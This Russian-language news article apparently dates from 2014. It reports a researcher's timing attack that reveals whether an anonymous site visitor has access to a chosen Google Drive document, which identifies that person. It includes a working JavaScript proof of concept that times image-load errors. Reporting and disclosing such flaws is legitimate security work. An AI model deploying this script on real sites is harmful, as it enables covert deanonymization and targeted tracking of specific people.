xaker

Простая деанонимизация пользователей Google

  • среда, 10 сентября 2014 г. в 03:11:08
http://xakep.ru/news/gdrive-timing-attack/

002

Хакер Эндрю Кантино (Andrew Cantino) традиционно участвует в программе Bug Bounty от компании Google, получая вознаграждение за найденные уязвимости. Однако, последний баг отдел безопасности Google не посчитал опасным и отказался выплачивать вознаграждение. Другими словами, Google не собирается закрывать уязвимость и разрешает публиковать информацию о ней в открытом доступе. Эндрю так и поступил.

Обнаруженная уязвимость позволяет проводить атаку по времени (timing attack) на пользователей Google. При таких атаках конфиденциальная информация добывается с помощью замера времени, затраченного на выполнение той или иной операции на компьютере жертвы. В данном случае атакующий может определить, есть ли у анонимного пользователя доступ к конкретному документу Google Drive. Это значит, что можно распознать конкретного человека среди всех анонимных посетителей вашего сайта.

Атака осуществляется просто. Публикуем на Google Drive произвольный документ и открываем его для просмотра пользователю с известным адресом электронной почты. При этом важно убрать галочку с пункта, который предусматривает рассылку уведомлений на указанные адреса электронной почты. Теперь мы установили «жучок» и узнаем, когда пользователь зайдёт на сайт.

Для деанонимизации конкретного юзера вредоносная веб-страница должна содержать ссылку на вышеупомянутый документ Google Drive. Например, загружать картинку с этого URL.

var urls = {
  hasAccess: "https://docs.google.com/document/....../edit",
  doesNotHaveAccess: "https://docs.google.com/document/....../edit"
};

function addImage(src, callback) {
  var elem = document.createElement("IMG");
  elem.src = src + "?r=" + Math.random();
  elem.onerror = callback;
  $("body").append(elem);
}

var times = {
  hasAccess: { sum: 0, count: 0 },
  doesNotHaveAccess: { sum: 0, count: 0 }
};

var testRuns = 40; // a smaller number can be used

function nextTest() {
  testRuns--;
  if (testRuns > 0) {
    var type = Math.random() > 0.5 ? 'hasAccess' : 'doesNotHaveAccess';
    var startTime = new Date().getTime();
    addImage(urls[type], function() {
      var endTime = new Date().getTime();
      times[type].count++;
      times[type].sum = times[type].sum + (endTime - startTime);
      setTimeout(nextTest, 100); // a shorter timeout is fine
    });
  } else {
    $("body").append("hasAccess: " + (times.hasAccess.sum / times.hasAccess.count) + "
" + "doesNotHaveAccess: " + (times.doesNotHaveAccess.sum / times.doesNotHaveAccess.count)); } } nextTest()

Результатом выполнения такого запроса будет onerror. Если документ доступен для пользователя, то ответ onerror придёт позже. Разница в скорости загрузки страницы составляет примерно 0,6 с против 0,9 с, то есть распознать нужного юзера довольно легко. Правда, с учётом зависимости от параметров интернет-канала, нужно ещё сравнивать показатель со средней скоростью загрузки других страниц, но всё равно атака выглядит вполне реальной.

Подобные методы подходят для проведения таргетированных атак на конкретных людей, на сотрудников конкретной фирмы и т.д.

Компания Google объяснила, что не будет закрывать уязвимость. Во-первых, баг не представляет особой опасности. Во-вторых, нет эффективного способа его устранить.